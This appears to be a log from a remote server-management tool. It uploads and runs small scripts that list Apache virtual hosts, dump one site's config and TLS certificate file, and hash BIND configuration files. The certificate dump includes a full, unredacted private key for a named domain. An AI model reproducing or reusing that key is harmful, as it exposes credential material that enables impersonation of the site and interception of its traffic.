AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-08 12:20:03: Establishing a connection
2026-04-08 12:20:03: 

PUT: /tmp/pkp222101

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-08 12:20:03: 

chmod 755 /tmp/pkp222101; /tmp/pkp222101; rm /tmp/pkp222101

2026-04-08 12:20:03: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-08 12:20:03: 

PUT: /tmp/pkp356582

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/anitayoung_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-08 12:20:03: 

chmod 755 /tmp/pkp356582; /tmp/pkp356582; rm /tmp/pkp356582

2026-04-08 12:20:03: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/anitayoung_www_net.conf	1192

<VirtualHost *:80>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_secure_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-08 12:20:03: 

PUT: /tmp/pkp910740

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-08 12:20:03: 

chmod 755 /tmp/pkp910740; /tmp/pkp910740; rm /tmp/pkp910740

2026-04-08 12:20:03: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt	5348
05:f5:4e:d6:3a:85:29:44:41:72:ba:32:b3:b4:50:5a

-----BEGIN CERTIFICATE-----
MIIE9jCCA96gAwIBAgISBeglugh+U/mDFFoQnE7fzR7DMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDA4MTEyMTI5WhcNMjYwNzA3MTEyMTI4WjAZMRcwFQYDVQQD
Ew5hbml0YXlvdW5nLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AOQ4Fk26YOpCoo5wdLkdBIQdBxphysy+UV3TIyKAlrIinstLbuwRl3vi6VhmA5ui
dhaMsqjAdFF1CWmJp7iSIPxDZDw36iwiYkPMs4jUFHmaD0s28acIX2zqS/WOppzt
cAG+ad2+8pjjhkVPQuG7wyVrKv07pl3xh1FYCx/eC0OhKnn/5n1y4rcr50fnf2Mc
8ThHJ1DqVDOCIogz85edKl8JhTDdIOV55kv0+K06n50vxh5vLsWfyrRZS8NYam+V
EoE4sF/mobOvLocMyXWPGCuMWxQuWSyf5+L5jAIPy50uoOf0ZCI+WlKc62GhL97l
i4Z7HuiMv8OuAQ05pUe35ZECAwEAAaOCAhwwggIYMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSzB7Fs
kJqzKh99FZY9VjLcVolo2DAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQOO9aS
MzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5j
ci5vcmcvMBkGA1UdEQQSMBCCDmFuaXRheW91bmcubmV0MBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcv
NjguY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHUAlE5Dh/rswe+B8xkkJqgY
ZQHH0184AgE/cmd9VTcuGdgAAAGdbQkBcgAABAMARjBEAiBH85eBwOIzkSYdJjxL
BdLCTmaSVHi3IVBMekiGnzDnZwIgEKu/M5d9JAGJ3CsLwB7tCl7gHweouW7NIdpK
2/UkY2QAfwAm42RuWGkhI7w0P0ckNZs3ks0kWojYFdOTM/2ZGKtHIwAAAZ1tCQGu
AAgAAAUABX5KYwQDAEgwRgIhAIWRW6R616f1b8GJi4W0IRdR/WQyFcAYytSFuaNh
6oHEAiEAtjjuss1Jm4foQc56zm1Vsx4GwjJkqGF81qBm0H2XLfYwDQYJKoZIhvcN
AQELBQADggEBAFi8ebSUGQRmk14VlfuD6NOWn79Ohqg6zPulzBRDqgTlvEOQFNgq
BbzJtVHGvYVV7WvqAB2u+98ggDbdYT73UJFuzdFByZauHY6FHCrUut1FLbm9zTzU
5i9qvJXgiUVbz4KWd1+Vhw8hqLLXOA9YZJNpqbRSi8pWmMhy8y61CcBDAROFYB0b
2j0ONWDLRYgBzL+qD5fB5Hn+A7PaQqRQftIiuTboCrG7zOpYCXHXBksgoLX8nVfv
QmH9JZrW+Iu7Utyl4nyAQbCnva763SjeTYbaK+hgc47jdG8sWjQvs/7N51uPeBc+
Fm1bUjt+aUwqEKPQDDVrDxf8nkocFL9/uu0=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDkOBZNumDqQqKO
cHS5HQSEHQcaYcrMvlFd0yMigJayIp7LS27sEZd74ulYZgObonYWjLKowHRRdQlp
iae4kiD8Q2Q8N+osImJDzLOI1BR5mg9LNvGnCF9s6kv1jqac7XABvmndvvKY44ZF
T0Lhu8Mlayr9O6Zd8YdRWAsf3gtDoSp5/+Z9cuK3K+dH539jHPE4RydQ6lQzgiKI
M/OXnSpfCYUw3SDleeZL9PitOp+dL8Yeby7Fn8q0WUvDWGpvlRKBOLBf5qGzry6H
DMl1jxgrjFsULlksn+fi+YwCD8udLqDn9GQiPlpSnOthoS/e5YuGex7ojL/DrgEN
OaVHt+WRAgMBAAECggEABWz2LkhC3TTi+JYQt1Uq1iF6yZA3Ph9875kpO9zw4Dip
m+mN4DnBl0PXcncf6TV/P1VeWrvTFBvvQqmfsbgTJc4sGhCl/gE+AvDBGKzalQLC
L/KFI5iDzMMD9ek7ma3dKKR0T73WNodrufZ6v4M7TiaeZ7VxJMj9A6R/RLVeoQ+e
gTgiYBm173n+OspdI2yGJYk5tNVGQPTKgSUJgIDZBDtlReXeIqyz146dD62PXSVS
TkEO8N/1WBzFUuQlej2jnCY1ZPdeAzN5sLwp2Fk5hw7if2rl9eeZ1kwymbdGoyZM
2a6oGvdktjMWSo0NWYOXjDcUCGLR3D0MugKujkViIQKBgQD94plUijWMRgsfitqw
3h5qPCIUgJlJHmIQ54K+FBfbFpwWQiEDu5Sdw/oLKMDyKteLE19LtYYbaCjxt+9e
9QAHdqAETJVncdfYyEHMkCVl4dVw1o//PC8a66VDgmEQljsdIePbCpX0omqswfW8
iFzKvlCLMfN4YxAxa/de5qGfYQKBgQDmHsGXOILySWstYIzyX4v2kfENGC7vdi6b
Lvb0IjQ7PBPtLK0DRKSDUhBpeEFvzEBkw8E5UxelcrhtvBigx7xeJLhbCybB/no4
ww7f2lyvat4VKt+2y2kB+MA9N4VZc5a2WipTUsmw/0/p6+cmuBxxvbOuU5jwxzr/
Iqz4jpbkMQKBgQCTaRJmB6l3vOOQeOrpbs5yGGAhT1mxHrcJ4aIEA16mksYmFldc
93ke8T8pY4xED6P+2EyohMlM+Hltf8K4e8B8lN/sHxtQaMVO1Vd/EuLj+PAZCDur
kqI3G0NlozoAi3nfPGI0OD1BQVx22ld4FCTsgvv5FhOrfrlUOL/0liyZgQKBgQDh
ARGpGshuvvrc05r9Ig9oeCqJ8ytxWM0ZT0KIUylfAc86CITivStee88wUTUqazxL
SlyUAHsOeq16HoC2NJYqNx1LaAvtgzVeatsQZiJaItQjPligEyQJmX/eW3s3i53B
j0fzUO+E8R7iSpcpdLvbOvGFcpgIVcWJ0g3uuv0vAQKBgQDNGsD/9u1Jb0Qb0gcX
4sGuNeU1aEWK/+blEij36qE/N7olJLbBEFP4Bk0F2FLR93cOoIlAAxLAQ7ppI6O3
GSngzDYvVNan1NG3rO1nRW8c1GPKytjUkSuviWt3SmYgHcPEdwui0JfyI9lIsqN9
vA9M4XWanNBwgYBoaU6wGv3DpA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-08 12:21:18: Establishing a connection
2026-04-08 12:21:45: Establishing a connection
2026-04-08 12:21:45: 

PUT: /tmp/pkp371911

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-08 12:21:46: 

runuser -l bind -s /bin/bash -c '/tmp/pkp371911; rm /tmp/pkp371911'

2026-04-08 12:21:46: 


PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
